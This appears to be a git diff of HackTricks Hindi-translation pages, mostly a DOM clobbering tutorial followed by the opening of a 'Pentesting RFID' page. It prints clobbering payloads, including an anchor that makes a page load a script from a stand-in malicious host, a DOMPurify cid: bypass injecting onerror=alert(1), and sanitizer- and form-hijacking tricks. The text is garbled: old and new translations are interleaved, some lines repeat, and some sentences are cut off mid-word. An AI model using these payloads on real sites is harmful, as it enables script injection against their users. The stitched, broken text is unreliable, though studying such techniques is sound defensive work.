* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **मूल बातें**
## **बुनियादी बातें**
HTML टैग में **`id`** और **`name`** विशेषताओं के साथ **JS संदर्भ** में **वैश्विक चर** उत्पन्न करना संभव है
यह संभव है कि **JS संदर्भ के भीतर वैश्विक चर उत्पन्न करें** HTML टैग में **`id`** और **`name`** विशेषताओं के साथ।
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**केवल** कुछ तत्वों का उपयोग करके **नाम विशेषता** को ग्लोबल्स को ले जाने के लिए किया जा सकता है, वे हैं: `embed`, `form`, `iframe`, `image`, `img` और `object`.
**केवल** कुछ तत्व **name attribute** का उपयोग करके ग्लोबल्स को क्लॉबर कर सकते हैं, वे हैं: `embed`, `form`, `iframe`, `image`, `img` और `object`
दिलचस्प है, जब आप एक **फॉर्म तत्व** का उपयोग करके एक वेरिएबल को **क्लॉबर** करते हैं, तो आपको तत्व के खुद क**`toString`** मान मिलेगा: `[object HTMLFormElement]` लेकिन **एंकर** के साथ **`toString`** एंकर **`href`** होगा। इसलिए, अगर आप **`a`** टैग का उपयोग करके क्लॉबर करते हैं, तो आप **मान** को **स्ट्रिंग के रूप में व्यवहार करते समय** **नियंत्रित** कर सकते हैं:
दिलचस्प बात यह है कि जब आप एक **form element** का उपयोग करके एक वेरिएबल को **clobber** करते हैं, तो आपको तत्व का **`toString`** मान मिलेगा: `[object HTMLFormElement]` लेकिन **anchor** के साथ **`toString`** एंकर का **`href`** होगा। इसलिए, यदि आप **`a`** टैग का उपयोग करके क्लॉबर करते हैं, तो आप **string** के रूप में इसे **व्यवहार** करते समय **value** को **control** कर सकते हैं:
```html
<a href="controlled string" id=x></a>
<script>
@ -30,7 +33,7 @@ console.log(x);//controlled string
```
### Arrays & Attributes
एक एरे और ऑब्ज
यह **एक एरे** और **ऑब्जेक्ट विशेषताओं** को **क्लॉबर** करना भी संभव है:
```html
<a id=x>
<a id=x name=y href=controlled>
@ -39,7 +42,7 @@ console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
**एक तीसरा विशेषता** (उदा. x.y.z) को clobber करने के लिए, आपको एक **`form`** का उपयोग करना होगा:
**एक 3rd विशेषता** (जैसे x.y.z) को क्लॉबर करने के लिए, आपको एक **`form`** का उपयोग करने की आवश्यकता है:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
@ -47,17 +50,17 @@ console.log(x.y)//controlled
alert(x.y.z.value)//controlled
</script>
```
Clobbering अधिक विशेषताएँ **अधिक जटिल है लेकिन फिर भी संभव** है, iframes का उपयोग करके:
Clobbering अधिक विशेषताओं को **अधिक जटिल है लेकिन फिर भी संभव है**, iframes का उपयोग करके:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
स्टाइल टैग का उपयोग **आईफ्रेम को रेंडर करने के लिए पर्याप्त समय देने** के लिए किया जाता है। इसके बिना आपको **अनिर्धारित** अलर्ट मिलेगा।
स्टाइल टैग का उपयोग **iframes को रेंडर करने के लिए पर्याप्त समय देने** के लिए किया जाता है। इसके बिना आपको **undefined** का अलर्ट मिलेगा।
{% endhint %}
गहरे गुणों को अधिक बदलने के लिए, आप **एचटीएमएल एन्कोडिंग के साथ आईफ्रेम्स** का उपयोग कर सकते हैं:
गहरे गुणों को क्लॉबर करने के लिए, आप **html एन्कोडिंग के साथ iframes** का उपयोग इस तरह कर सकते हैं:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
@ -65,9 +68,9 @@ Clobbering अधिक विशेषताएँ **अधिक जटिल
alert(a.b.c.d.e)//controlled
</script>
```
### **फ़िल्टर बाईपासिंग**
### **फिल्टर बायपासिंग**
यदि एक फ़िल्टर नोड की **संपत्तियों** के **माध्यम से लूप** कर रहा है जैसे कि `document.getElementByID('x').attributes` तो आप **विशेषता** **`.attributes`** को **ओवरराइड** कर सकते हैं और **फ़िल्टर को तोड़ सकते हैं**। अन्य DOM गुण संयोजन जैसे **`tagName`**, **`nodeName`** या **`parentNode`** और अधिक भी **ओवरराइड** किए जा सकते हैं।
यदि एक फ़िल्टर किसी नोड की **गुणों** के माध्यम से **लूपिंग** कर रहा है जैसे कि `document.getElementByID('x').attributes` तो आप **`.attributes`** गुण को **क्लॉबर** कर सकते हैं और **फ़िल्टर को तोड़** सकते हैं। अन्य DOM गुण जैसे **`tagName`**, **`nodeName`** या **`parentNode`** और भी **क्लॉबर करने योग्य** हैं।
```html
<form id=x></form>
<form id=y>
@ -78,17 +81,17 @@ console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **`window.someObject` को Clobber करना**
## **Clobbering `window.someObject`**
जावास्क्रिप्ट में यह आम है कि हमें यह मिलता है:
जावास्क्रिप्ट में यह सामान्य है कि:
```javascript
var someObject = window.someObject || {};
```
वेब पृष्ठ पर HTML को मनिपुलेट करने से `someObject` को एक DOM नोड से ओवरराइड किया जा सकता है, सुरक्षा विकल्पों को प्रवेश करने की संभावना होती है। उदाहरण के लिए, आप `someObject` को एक आपत्तिजनक स्क्रिप्ट पर इंगित करने वाले एंकर तत्व के साथ बदल सकते हैं:
HTML को पृष्ठ पर मैनिपुलेट करना `someObject` को एक DOM नोड के साथ ओवरराइड करने की अनुमति देता है, जो संभावित रूप से सुरक्षा कमजोरियों को पेश कर सकता है। उदाहरण के लिए, आप `someObject` को एक एंकर तत्व के साथ बदल सकते हैं जो एक दुर्भावनापूर्ण स्क्रिप्ट की ओर इशारा करता है:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
एक वंलरेबल कोड में जैसे:
एक कमजोर कोड जैसे:
```html
<script>
window.onload = function(){
@ -99,15 +102,27 @@ document.body.appendChild(script);
};
</script>
```
यह विधि अनचाहे कोड को निष्पादित करने के लिए स्क्रिप्ट स्रोत का शोषण करती है।
यह विधि स्क्रिप्ट स्रोत का लाभ उठाकर अवांछित कोड निष्पादित करती है।
**ट्रिक**: **`DOMPurify`** आपको **`cid:`** प्रोटोकॉल का उपयोग करने देता है, जिसमें **डबल-कोट्स को URL-encode नहीं किया जाता है**। इसका मतलब है कि आप **कोड को रनटाइम पर डीकोड करने वाले एक एन्कोडेड डबल-कोट को इंजेक्ट कर सकते हैं**। इसलिए, कुछ इंजेक्ट करना जैसे **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** HTML एन्कोडेड `&quot;` को **रनटाइम पर डीकोड करने** और **एट्रिब्यूट मान से बचने** के लिए **`onerror`** इवेंट बनाने के लिए होगा
**ट्रिक**: **`DOMPurify`** आपको **`cid:`** प्रोटोकॉल का उपयोग करने की अनुमति देता है, जो **डबल-कोट्स को URL-एन्कोड नहीं करता**। इसका मतलब है कि आप **एक एन्कोडेड डबल-कोट्स इंजेक्ट कर सकते हैं जो रनटाइम पर डिकोड होगा**। इसलिए, कुछ इस तरह इंजेक्ट करना **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** HTML एन्कोडेड `&quot;` को **रनटाइम पर डिकोड** करेगा और **एट्रिब्यूट वैल्यू से बाहर निकलकर** **`onerror`** इवेंट **बनाएगा**
एक और तकनीक **`form`** एलिमेंट का उपयोग करती है। कुछ क्लाइंट-साइड लाइब्रेरी नए बनाए गए फॉर्म एलिमेंट के एट्रिब्यूट की जांच करती हैं उन्हें साफ करने के लिए। हालांकि, एक `input` को फॉर्म के अंदर `id=attributes` के साथ जोड़कर, आप वास्तव में एट्रिब्यूट्स प्रॉपर्टी को ओवरराइट करते हैं, सेनिटाइजर को वास्तविक एट्रिब्यूट्स तक पहुंचने से रोकते हैं
एक और तकनीक **`form`** तत्व का उपयोग करती है। कुछ क्लाइंट-साइड पुस्तकालय नए बनाए गए फॉर्म तत्व के एट्रिब्यूट्स की जांच करते हैं ताकि उन्हें साफ किया जा सके। हालाँकि, फॉर्म के अंदर `id=attributes` के साथ एक `input` जोड़कर, आप प्रभावी रूप से एट्रिब्यूट्स प्रॉपर्टी को ओवरराइट कर देते हैं, जिससे सैनिटाइजर को वास्तविक एट्रिब्यूट्स तक पहुँचने से रोका जा सकता है
आप [**इस प्रकार के clobbering का उदाहरण इस CTF लेख में पा सकते हैं**](iframes-in-xss-and-csp.md#iframes-in-sop-2)।
आप [**इस प्रकार के क्लॉबरिंग का एक उदाहरण इस CTF लेख में पा सकते हैं**](iframes-in-xss-and-csp.md#iframes-in-sop-2)।
## दस्तावेज़ ऑब्ज
## क्लॉबरिंग दस्तावेज़ ऑब्जेक्ट
दस्तावेज़ के अनुसार, DOM क्लॉबरिंग का उपयोग करके दस्तावेज़ ऑब्जेक्ट के एट्रिब्यूट्स को ओवरराइट करना संभव है:
> [Document](https://html.spec.whatwg.org/multipage/dom.html#document) इंटरफेस [नामित प्रॉपर्टीज़ का समर्थन करता है](https://webidl.spec.whatwg.org/#dfn-support-named-properties)। [Document](https://html.spec.whatwg.org/multipage/dom.html#document) ऑब्जेक्ट के [समर्थित प्रॉपर्टी नाम](https://webidl.spec.whatwg.org/#dfn-supported-property-names) किसी भी क्षण निम्नलिखित होते हैं, [ट्री ऑर्डर](https://dom.spec.whatwg.org/#concept-tree-order) के अनुसार जो तत्व उन्हें योगदान देता है, बाद की डुप्लिकेट्स को नजरअंदाज करते हुए, और जब एक ही तत्व दोनों को योगदान देता है, तो नाम एट्रिब्यूट्स से पहले [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) एट्रिब्यूट्स के मान आते हैं:
>
> \- सभी [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), और [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) तत्वों के लिए नाम सामग्री एट्रिब्यूट का मान जो एक गैर-खाली नाम सामग्री एट्रिब्यूट है और [एक दस्तावेज़ वृक्ष में](https://dom.spec.whatwg.org/#in-a-document-tree) है जिसमें दस्तावेज़ उनके [root](https://dom.spec.whatwg.org/#concept-tree-root) के रूप में है;\
> \
> \- सभी [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) तत्वों के लिए [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) सामग्री एट्रिब्यूट का मान जो एक गैर-खाली [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) सामग्री एट्रिब्यूट है और [एक दस्तावेज़ वृक्ष में](https://dom.spec.whatwg.org/#in-a-document-tree) है जिसमें दस्तावेज़ उनके [root](https://dom.spec.whatwg.org/#concept-tree-root) के रूप में है;\
> \
> \- सभी [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) तत्वों के लिए [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) सामग्री एट्रिब्यूट का मान जो एक गैर-खाली [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) सामग्री एट्रिब्यूट और एक गैर-खाली नाम सामग्री एट्रिब्यूट दोनों हैं, और [एक दस्तावेज़ वृक्ष में](https://dom.spec.whatwg.org/#in-a-document-tree) हैं जिसमें दस्तावेज़ उनके [root](https://dom.spec.whatwg.org/#concept-tree-root) के रूप में है।
इस तकनीक का उपयोग करके आप सामान्यतः उपयोग किए जाने वाले **मानों जैसे `document.cookie`, `document.body`, `document.children`**, और यहां तक कि दस्तावेज़ इंटरफेस में विधियों जैसे `document.querySelector` को ओवरराइट कर सकते हैं।
```javascript
document.write("<img name=cookie />")
@ -126,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## तत्व को अद्वार लिखना
## Writing after the element clobbered
**`document.getElementById()`** और **`document.querySelector()`** के कॉल के परिणाम को एक से `<html>` या `<body>` टैग डालकर परिवर्तित किया जा सकता है जिसमें एक समान id विशेषता हो। यहाँ देखें कि यह कैसे किया जा सकता है:
**`document.getElementById()`** और **`document.querySelector()`** के कॉल के परिणामों को एक समान id विशषता के साथ `<html>` या `<body>` टैग इंजेक्ट करके बदला जा सकता है। इसे इस तरह किया जा सकता है:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
@ -138,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
इसके अतिरिक्त, इनजेक्ट किए गए HTML/body टैग को छुपाने के लिए स्टाइल का उपयोग करके, `innerText` में अन्य पाठ की बाधा को रोका जा सकता है, जिससे हमले की प्रभावकारिता बढ़ाई जा सकती है:
इसके अलावा, इन इंजेक्टेड HTML/body टैग्स को छिपाने के लिए शैलियों का उपयोग करके, `innerText` में अन्य पाठ से हस्तक्षेप को रोका जा सकता है, इस प्रकार हमले की प्रभावशीलता को बढ़ाया जा सकता है:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
@ -150,7 +165,7 @@ p{display:none;}
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
जांच में पाया गया कि SVG में `<body>` टैग का भी प्रभावी रूप से उपयोग किया जा सकता है:
SVG की जांच से पता चला कि `<body>` टैग को भी प्रभावी ढंग से उपयोग किया जा सकता है:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
@ -158,7 +173,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
चाहे वह Chrome हो या Firefox, SVG में HTML टैग कार्य करने के लिए `<foreignobject>` टैग आवश्यक है:
SVG में ब्राउज़रों जैसे Chrome और Firefox में HTML टैग के कार्य करने के लिए, एक `<foreignobject>` टैग आवश्यक है:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
@ -172,7 +187,9 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
```
## Clobbering Forms
एक फॉर्म के अंदर **नए एंट्रीज जोड़ना संभव** है बस **कुछ टैग्स के अंदर `form` एट्रिब्यूट** को **स्पष्ट करके**। आप इसका उपयोग करके **फॉर्म के अंदर नए मान जोड़ सकते** हैं और यहाँ तक कि एक **नया बटन** भी जोड़ सकते हैं **इसे भेजने के लिए** (क्लिकजैकिंग या कुछ `.click()` JS कोड का दुरुपयोग करना):
यह संभव है कि आप **कुछ टैग्स के अंदर `form` विशेषता** को निर्दिष्ट करके **फॉर्म के अंदर नए प्रविष्टियाँ जोड़ें**। आप इसका उपयोग **फॉर्म के अंदर नए मान जोड़ने** और यहां तक कि एक नया **बटन** जोड़ने के लिए कर सकते हैं **इसे भेजने के लिए** (क्लिकजैकिंग या कुछ `.click()` JS कोड का दुरुपयोग):
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
@ -184,22 +201,25 @@ Click to send!
```
{% endcode %}
* अधिक फॉर्म गुणों के लिए [**बटन चेक करें**](https://www.w3schools.com/tags/tag\_button.asp)**।**
* अधिक फ़ॉर्म विशेषताओं के लिए [**बटन की जांच करें**](https://www.w3schools.com/tags/tag\_button.asp)**।**
## संदर्भ
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
* हेयस, गैरेथ। हैकर्स के लिए जावास्क्रिप्ट: एक हैकर की तरह सोचना सीखें।
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण देखना है या हैकट्रिक्स को पीडीएफ में डाउनलोड करना है**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* खोजें [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* पाएं [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स रेपो में PR जमा करके [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फ़ॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,46 +1,125 @@
# पेंटेस्टिंग आरआईडीएफ
# Pentesting RFID
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मेरा** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **अनुसरण** करें।
* **हैकिंग ट्रिक्स साझा करें, पीआर जमा करके** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## परिचय
## Introduction
**रेडियो फ्रीक्वेंसी पहचान (RFID)** सबसे लोकप्रिय शॉर्ट-रेंज रेडियो समाधान है। यह आम तौर पर किसी एक एंटिटी की पहचान करने वाली जानकारी को संग्रहित और प्रसारित करने के लिए उपयोग किया जाता है।
**रेडियो फ्रीक्वेंसी पहचान (RFID)** सबसे लोकप्रिय शॉर्ट-रेंज रेडियो समाधान है। इसका उपयोग आमतौर पर किसी इकाई की पहचान करने वाली जानकारी को संग्रहीत और प्रसारित करने के लिए किया जाता है।
एक आरआईडीएफ टैग **अपने व्यावसायिक बैटरी** जैसे **अपने शक्ति स्रोत (सक्रिय)** पर निर्भर कर सकता है, या वर्तमान **रेडियो तरंगों से प्राप्त धारित वर्तमान का उपयोग करके** पठन एंटीना से अपनी शक्ति प्राप्त कर सकता है (**निष्क्रिय**).
एक RFID टैग **अपनी खुद की पावर स्रोत (सक्रिय)** पर निर्भर कर सकता है, जैसे कि एक एम्बेडेड बैटरी, या प्राप्त रेडियो तरंगों से **प्राप्त धारा** से अपनी शक्ति प्राप्त कर सकता है (**निष्क्रिय**)
### वर्ग
### Classes
EPCglobal ने आरआईडीएफ टैगों को छ: वर्गों में विभाजित किया है। प्रत्येक वर्ग में एक टैग में पिछले वर्ग में सूचीत सभी क्षमताएँ होती हैं, जिससे यह पिछले संग्रहीत हो
EPCglobal RFID टैग को छह श्रेणियों में विभाजित करता है। प्रत्येक श्रेणी में एक टैग में पिछले श्रेणी में सूचीबद्ध सभी क्षमताएँ होती हैं, जिससे यह पीछे की ओर संगत होता है
* **क्लास 0** टैग **निष्क्रिय** टैग होते हैं जो **UHF** बैंड में काम करते हैं। विक्रेता न्हें उत्पादन कारखाने में पूर्व-प्रोग्राम करता है। इसके परिणामस्वरूप, आप उनकी मेमोरी में संग्रहित जानकारी में परिवर्तन नहीं कर सकते
* **क्लास 1** टैग एचएफ बैंड में भी काम कर सकते हैं। साथ ही, उन्हें उत्पादन के बाद केवल एक बार **लिखा जा सकता है**। कई क्लास 1 टैग उनके प्राप्त किए गए कमांडों के **साइक्लिक रेडंडेंसी चेक्स** (सीआरसी) को प्रसंस्करण कर सकते हैं। सीआरसी त्रुटि पहचान के लिए कमांडों के अंत में कुछ अतिरिक्त बाइट्स होते हैं।
* **क्लास 2** टैग को **एकाधिक बार लिखा जा सकता है**।
* **क्लास 3** टैग में **एम्बेडेड सेंसर** हो सकते हैं जो पर्यावरणीय पैरामीटर, जैसे वर्तमान तापमान या टैग की गति को रिकॉर्ड कर सकते हैं। ये टैग **अर्ध-निष्क्रिय** होते हैं, क्योंकि हालांकि उनके पास एक एम्बेडेड **बैटरी** जैसा एक शक्ति स्रोत होता है, वे अन्य टैग या पाठकों के साथ वायरलेस **संचार** को प्रारंभ नहीं कर सकते।
* **क्लास 4** टैग इसी वर्ग के अन्य टैगों के साथ संवाद प्रारंभ कर सकते हैं, जिससे वे **सक्रिय टैग** होते हैं।
* **क्लास 5** टैग अन्य सभी पिछले टैग वर्गों के साथ **शक्ति प्रदान कर सकते हैं और संवाद कर सकते हैं**। क्लास 5 टैग **आरआईडीएफ रीडर** के रूप में काम कर सकते हैं।
* **क्लास 0** टैग **निष्क्रिय** टैग होते हैं जो **UHF** बैंड में काम करते हैं। विक्रेता न्हें उत्पादन कारखाने में **पूर्व-प्रोग्राम** करता है। परिणामस्वरूप, आप **उनकी मेमोरी में संग्रहीत जानकारी को बदल नहीं सकते**
* **क्लास 1** टैग भी **HF** बैंड में काम कर सकते हैं। इसके अलावा, इन्हें उत्पादन के बाद **केवल एक बार लिखा जा सकता है**। कई क्लास 1 टैग भी प्राप्त आदेशों के **चक्रात्मक पुनरावृत्ति जांच** (CRCs) को संसाधित कर सकते हैं। CRCs आदेशों के अंत में त्रुटि पहचान के लिए कुछ अतिरिक्त बाइट होते हैं।
* **क्लास 2** टैग को **कई बार लिखा जा सकता है**।
* **क्लास 3** टैग में **एबेडेड सेंसर** हो सकते हैं जो पर्यावरणीय मापदंडों को रिकॉर्ड कर सकते हैं, जैसे वर्तमान तापमान या टैग की गति। ये टैग **सेमी-पैसिव** होते हैं, क्योंकि हालांकि इनमें एक एम्बेडेड पावर स्रोत होता है, जैसे एक एकीकृत **बैटरी**, वे अन्य टैग या रीडर्स के साथ वायरलेस **संवाद** शुरू नहीं कर सकते।
* **क्लास 4** टैग अन्य समान श्रेणी के टैग के साथ संवाद शुरू कर सकते हैं, जिससे वे **सक्रिय टैग** बन जाते हैं।
* **क्लास 5** टैग अन्य टैग को **शक्ति प्रदान कर सकते हैं और सभी पिछले टैग** श्रेणियों के साथ संवाद कर सकते हैं। क्लास 5 टैग **RFID रीडर्स** के रूप में कार्य कर सकते हैं।
### आरआईडीएफ टैग में संग्रहित जानकारी
### Information Stored in RFID Tags
एक आरआईडीएफ टैग की मेमोरी आम तौर पर चार प्रकार के डेटा को संग्रहित करती है: **पहचान डेटा**, जो टैग से जुड़ी एंटिटी की पहचान करता है (इस डेटा में उपयोगकर्ता-निर्धारित क्षेत्र शामिल है, जैसे बैंक खाते); **सहायक डेटा**, जो एंटिटी के बारे में **अधिक विवरण** प्रदान करता है; **नियंत्रण डेटा**, टैग के आंतरिक **कॉन्फ़िगरेशन** के लिए उपयोग किया जाता है; और टैग का **निर्माता डेटा**, जिसमें एक टैग का अद्वितीय पहचानकर्ता (**यूआईडी**) और टैग के **उत्पादन**, **प्रकार**, और **विक्रेता** के विवरण शामिल होते हैं। आप व्यावसायिक टैगों में पहले दो प्रकार के डेटा पाएंगे; अंतिम दो विक्रेता के आधार पर भिन्न हो सकते हैं।
एक RFID टैग की मेमोरी आमतौर पर चार प्रकार के डेटा को संग्रहीत करती है: **पहचान डेटा**, जो उस **इकाई** की पहचान करता है जिससे टैग जुड़ा होता है (इस डेटा में उपयोगकर्ता-परिभाषित फ़ील्ड शामिल होते हैं, जैसे बैंक खाते); **पूरक डेटा**, जो इकाई के बारे में **अधिक** **विवरण** प्रदान करता है; **नियंत्रण डेटा**, जो टैग की आंतरिक **कॉन्फ़िगरेशन** के लिए उपयोग किया जाता है; और टैग का **निर्माता डेटा**, जिसमें टैग का यूनिक आइडेंटिफायर (**UID**) और टैग के **उत्पादन**, **प्रकार**, और **विक्रेता** के बारे में विवरण होता है। आप पहले दो प्रकार के डेटा सभी व्यावसायिक टैग में पाएंगे; अंतिम दो टैग के विक्रेता के आधार पर भिन्न हो सकते हैं।
ISO मानक एप्लिकेशन फैमिली आईडेंटिफायर (**एएफआई**) मूल्य को निर्दिष्ट करता है, एक कोड जो टैग किस प्रकार के वस्तु से संबंधित है। एक और महत्वपूर्ण रजिस्टर, जिसे भी ISO द्वारा निर्दिष्ट किया गया है, डेटा स्टोरेज फॉर्मेट आईडेंटिफायर (**डीएसएफआईडी**) है, जो उपयोगकर्ता डेटा की **तार्किक संगठन** को परिभाषित करता है।
